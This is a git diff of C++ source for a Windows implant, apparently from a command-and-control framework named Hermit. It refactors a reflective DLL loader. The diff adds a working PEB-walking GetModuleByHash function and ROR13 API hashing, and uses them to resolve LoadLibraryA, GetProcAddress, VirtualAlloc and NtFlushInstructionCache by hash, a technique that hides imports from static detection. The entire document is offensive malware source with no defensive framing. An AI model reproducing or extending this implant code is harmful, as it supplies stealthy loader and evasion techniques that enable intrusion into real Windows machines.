diff --git a/payload/win/implant/include/core/procs.hpp b/payload/win/implant/include/core/procs.hpp index 30a5ea1..0d7e26f 100644 --- a/payload/win/implant/include/core/procs.hpp +++ b/payload/win/implant/include/core/procs.hpp @@ -11,6 +11,17 @@ #include #include +// test ----------------------------------- +#define HASH_KEY 13 + +#pragma intrinsic( _rotr ) + +__forceinline DWORD rotate(DWORD d) +{ + return _rotr(d, HASH_KEY); +} +// ----------------------------------------- + #define HASH_IV 0x35 #define RANDOM_ADDR 0xab10f29f @@ -362,8 +373,12 @@ namespace Procs typedef PROCS* PPROCS; DWORD GetHashFromString(char* str); - DWORD GetHashFromStringPtr(PVOID pStr, SIZE_T dwStrLen); - // PVOID GetModuleByHash(DWORD dwHash); + ULONG GetHashFromStringPtr( + PVOID pStr, + SIZE_T dwStrLen, + BOOL bUpper + ); + PVOID GetModuleByHash(DWORD dwHash); PVOID GetProcAddressByHash( HMODULE hModule, DWORD dwHash diff --git a/payload/win/implant/include/rfl.hpp b/payload/win/implant/include/rfl.hpp index 28230f5..4ff7e50 100644 --- a/payload/win/implant/include/rfl.hpp +++ b/payload/win/implant/include/rfl.hpp @@ -5,21 +5,12 @@ #include -#define HASH_KEY 13 - -#define HASH_KERNEL32DLL 0x6A4ABC5B -#define HASH_NTDLLDLL 0x3CFA685D +#define HASH_KERNEL32DLL 0x6A4ABC5B +#define HASH_NTDLLDLL 0x3CFA685D typedef ULONG_PTR (WINAPI * REFLECTIVEDLLLOADER)(); typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); -#pragma intrinsic( _rotr ) - -__forceinline DWORD rotate(DWORD d) -{ - return _rotr(d, HASH_KEY); -} - extern "C" LPVOID ReflectiveCaller(); #endif // HERMIT_RFL_HPP \ No newline at end of file diff --git a/payload/win/implant/src/core/procs.cpp b/payload/win/implant/src/core/procs.cpp index 71c9794..b4e001a 100644 --- a/payload/win/implant/src/core/procs.cpp +++ b/payload/win/implant/src/core/procs.cpp @@ -15,27 +15,44 @@ namespace Procs return dwHash & 0xFFFFFFFF; } - DWORD GetHashFromStringPtr(PVOID pStr, SIZE_T dwStrLen) - { - DWORD dwHash = HASH_IV; + ULONG GetHashFromStringPtr( + PVOID pStr, + SIZE_T dwStrLen, + BOOL bUpper + ) { + ULONG dwHash = HASH_IV; PUCHAR puStr = static_cast(pStr); + if (!pStr) + { + return 0; + } + do { UCHAR c = *puStr; if (!dwStrLen) { - if (!*puStr) break; + if (!*puStr) + { + break; + } } else { - if ((ULONG)(puStr - static_cast(pStr)) >= dwStrLen) break; - if (!*puStr) ++puStr; + if ((ULONG)(puStr - static_cast(pStr)) >= dwStrLen) + { + break; + } + if (!*puStr) + { + ++puStr; + } } // if a character is lowercase, convert it to uppercase. - if (c >= 'a') + if (bUpper && c >= 'a') { c -= 0x20; } @@ -47,20 +64,48 @@ namespace Procs return dwHash & 0xFFFFFFFF; } - // PVOID GetModuleByHash(DWORD dwHash) - // { - // PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; - // // Get the first entry - // PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InMemoryOrderModuleList.Flink; + PVOID GetModuleByHash(DWORD dwHash) + { + // Get pointer to PEB + PPEB pPeb = nullptr; + #ifdef _WIN64 + pPeb =(PPEB) __readgsqword(0x60); + #else + pPeb = (PPEB)__readfsqword(0x30); + #endif + + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; + // Get the first entry + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink; + + while (pDte) + { + ULONG_PTR uCurrModuleName = (ULONG_PTR)pDte->BaseDllName.Buffer; + USHORT uCurrModuleNameLen = pDte->BaseDllName.Length; + DWORD dwCurrHash = 0; + + do + { + dwCurrHash = rotate(dwCurrHash); + // if a character is lowercase, convert to uppercase. + if (*((BYTE*)uCurrModuleName) >= 'a') + dwCurrHash += *((BYTE*)uCurrModuleName) - 0x20; + else + dwCurrHash += *((BYTE*)uCurrModuleName); + uCurrModuleName++; + } while (--uCurrModuleNameLen); - // while (pDte) - // { + if (dwCurrHash == dwHash) + { + return pDte->DllBase; + } + // Get the next entry + pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); + } - // // Get the next entry - // pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); - // } - // } + return nullptr; + } PVOID GetProcAddressByHash( HMODULE hModule, diff --git a/payload/win/implant/src/main/rfl.cpp b/payload/win/implant/src/main/rfl.cpp index e699f8f..a03653c 100644 --- a/payload/win/implant/src/main/rfl.cpp +++ b/payload/win/implant/src/main/rfl.cpp @@ -36,143 +36,23 @@ DLLEXPORT BOOL ReflectiveDllLoader(LPVOID lpParameter) pPeb = (PPEB)__readfsqword(0x30); #endif - Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA = nullptr; - Procs::LPPROC_GETPROCADDRESS lpGetProcAddress = nullptr; - Procs::LPPROC_VIRTUALALLOC lpVirtualAlloc = nullptr; - Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE lpNtFlushInstructionCache = nullptr; - - PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; - // Get the first entry - PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink; - - while (pDte) - { - ULONG_PTR uCurrModuleName = (ULONG_PTR)pDte->BaseDllName.Buffer; - USHORT uCurrModuleNameLen = pDte->BaseDllName.Length; - DWORD dwHash = 0; - - do - { - dwHash = rotate(dwHash); - // if a character is lowercase, convert to uppercase. - if (*((BYTE*)uCurrModuleName) >= 'a') - dwHash += *((BYTE*)uCurrModuleName) - 0x20; - else - dwHash += *((BYTE*)uCurrModuleName); - uCurrModuleName++; - } while (--uCurrModuleNameLen); - - // dwHash = HASH_IV; - // do - // { - // int c; - // // if a character is lowercase, convert it to uppercase. - // if (*((BYTE*)uCurrModuleName) >= 'a') - // c = *((BYTE*)uCurrModuleName) - 0x20; - // else - // c = *((BYTE*)uCurrModuleName); - - // dwHash = dwHash * RANDOM_ADDR + c; - // uCurrModuleName++; - // } while (--uCurrModuleNameLen); - // dwHash = dwHash & 0xFFFFFFFF; - - if (dwHash == HASH_KERNEL32DLL) - // if (dwHash == HASH_MODULE_KERNEL32) - // if (Procs::GetHashFromStringPtr((PVOID)pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == HASH_MODULE_KERNEL32) - { - ULONG_PTR uDllBase = (ULONG_PTR)pDte->DllBase; - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uDllBase + ((PIMAGE_DOS_HEADER)uDllBase)->e_lfanew); - PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); - PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllBase + pDataDir->VirtualAddress); - - ULONG_PTR uFuncNames = uDllBase + pExportDir->AddressOfNames; - ULONG_PTR uFuncNameOrdinals = uDllBase + pExportDir->AddressOfNameOrdinals; - - uCurrModuleNameLen = 3; - - while (uCurrModuleNameLen > 0) - { - DWORD dwFuncHash = Procs::GetHashFromString((char*)(uDllBase + DEREF_32(uFuncNames))); - - // if we have found a function we want we get its virtual address - if( - dwFuncHash == HASH_FUNC_LOADLIBRARYA || - dwFuncHash == HASH_FUNC_GETPROCADDRESS || - dwFuncHash == HASH_FUNC_VIRTUALALLOC - ) { - ULONG_PTR uFuncAddresses = uDllBase + pExportDir->AddressOfFunctions; - - // use this functions name ordinal as an index into the array of name pointers - uFuncAddresses += (DEREF_16(uFuncNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if(dwFuncHash == HASH_FUNC_LOADLIBRARYA) - lpLoadLibraryA = (Procs::LPPROC_LOADLIBRARYA)(uDllBase + DEREF_32(uFuncAddresses)); - else if(dwFuncHash == HASH_FUNC_GETPROCADDRESS) - lpGetProcAddress = (Procs::LPPROC_GETPROCADDRESS)(uDllBase + DEREF_32(uFuncAddresses)); - else if(dwFuncHash == HASH_FUNC_VIRTUALALLOC ) - lpVirtualAlloc = (Procs::LPPROC_VIRTUALALLOC)(uDllBase + DEREF_32(uFuncAddresses)); - - // decrement our counter - uCurrModuleNameLen--; - } - - // get the next exported function name - uFuncNames += sizeof(DWORD); - // get the next exported function name ordinal - uFuncNameOrdinals += sizeof(WORD); - } - } - else if (dwHash == HASH_NTDLLDLL) - // else if (dwHash == HASH_MODULE_NTDLL) - // else if (Procs::GetHashFromStringPtr((PVOID)pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == HASH_MODULE_NTDLL) - { - ULONG_PTR uDllBase = (ULONG_PTR)pDte->DllBase; - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uDllBase + ((PIMAGE_DOS_HEADER)uDllBase)->e_lfanew); - PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllBase + pDataDir->VirtualAddress); - - ULONG_PTR uFuncNames = (uDllBase + pExportDir->AddressOfNames); - ULONG_PTR uFuncNameOrdinals = (uDllBase + pExportDir->AddressOfNameOrdinals); - - uCurrModuleNameLen = 1; - - // loop while we still have imports to find - while(uCurrModuleNameLen > 0) - { - DWORD dwFuncHash = Procs::GetHashFromString((char*)(uDllBase + DEREF_32(uFuncNames))); - - // if we have found a function we want we get its virtual address - if(dwFuncHash == HASH_FUNC_NTFLUSHINSTRUCTIONCACHE) - { - // get the VA for the array of addresses - ULONG_PTR uFuncAddresses = uDllBase + pExportDir->AddressOfFunctions; - - // use this functions name ordinal as an index into the array of name pointers - uFuncAddresses += (DEREF_16(uFuncNameOrdinals) * sizeof(DWORD)); - - // store this functions VA - if(dwFuncHash == HASH_FUNC_NTFLUSHINSTRUCTIONCACHE) - lpNtFlushInstructionCache = (Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE)(uDllBase + DEREF_32(uFuncAddresses)); - - // decrement our counter - uCurrModuleNameLen--; - } - - // get the next exported function name - uFuncNames += sizeof(DWORD); - // get the next exported function name ordinal - uFuncNameOrdinals += sizeof(WORD); - } - } + // Get modules and functions + HMODULE hNtdll = (HMODULE)Procs::GetModuleByHash(HASH_NTDLLDLL); + if (!hNtdll) + { + return FALSE; + } - if (lpLoadLibraryA && lpGetProcAddress && lpVirtualAlloc && lpNtFlushInstructionCache) - break; + HMODULE hKernel32 = (HMODULE)Procs::GetModuleByHash(HASH_KERNEL32DLL); + if (!hKernel32) + { + return FALSE; + } - // Get the next entry - pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); - } + Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_LOADLIBRARYA)); + Procs::LPPROC_GETPROCADDRESS lpGetProcAddress = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_GETPROCADDRESS)); + Procs::LPPROC_VIRTUALALLOC lpVirtualAlloc = reinterpret_cast(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_VIRTUALALLOC)); + Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE lpNtFlushInstructionCache = reinterpret_cast(Procs::GetProcAddressByHash(hNtdll, HASH_FUNC_NTFLUSHINSTRUCTIONCACHE)); // get the VA of the NT Header for the PE to be loaded PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uLibAddr + ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew);